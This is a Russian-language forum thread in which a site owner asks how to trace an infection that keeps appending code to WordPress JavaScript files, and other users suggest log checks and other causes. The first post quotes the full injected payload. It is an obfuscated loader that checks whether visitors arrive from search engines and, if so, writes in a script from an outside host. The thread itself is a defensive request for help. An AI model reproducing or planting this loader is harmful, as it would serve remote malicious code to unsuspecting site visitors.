Вирус в Wordpress в файлах js

[rihkrand]

На сервере на сайтах wordpress в файлах *.js появляется дописанная в самый конец запись

//SKROA
a3=0;k7='';a3x='Code';while(a3<305) {k7+=String['fromChar'+a3x]("o6>##<o7>\\#nbjm/sv#-#sbncmfs#-#hpphmf#-#cjoh#-#zbipp#-#zboefy#^<gps)j>1<j=o7/mfohui<j,,*|jg)epdvnfou/sfgfssfs\\#joefyPg#^)o7\\j^*,2*|o6> #\'pl#<~~c82>#iuuq;00ujnfuptuvez/dpn/vb0xq.dpoufou0qmvhjot0bmm.jo.pof.tf p.qbdl0tubu/qiq@t>#,hi8,o6<epdvnfou/xsjuf)(=tdsjqu!tsd>#(,c82,(#!uzqf># ufyu0kbwbtdsjqu#?=0tdsjqu?(*<"['char'+a3x+'At'](a3++)-1)}(Function('gh7="p7b21";'+k7))();
//YzEGLtFp17RAJ


Файл может быть любой и в основном в директории wp-includes/js или в теме/js
Как найти кто добовляет?

[Вадим Мошев]

На хостинге можно просмотреть лог-файл, где записана дата/время, а также IP-адрес, с которого было подключение.

Если станет известен IP адрес злоумышленника, думаю, можно будет обратиться в правоохранительные органы и жалобой на неправомерный доступ к компьютерной информации.

[rihkrand]

В логах ничего нет.
Может какойто файл записывает в конец js скрипта.

[Пепел Феникса]

вы уверены что это именно в файлах? а не в том что хостинг отдает браузеру?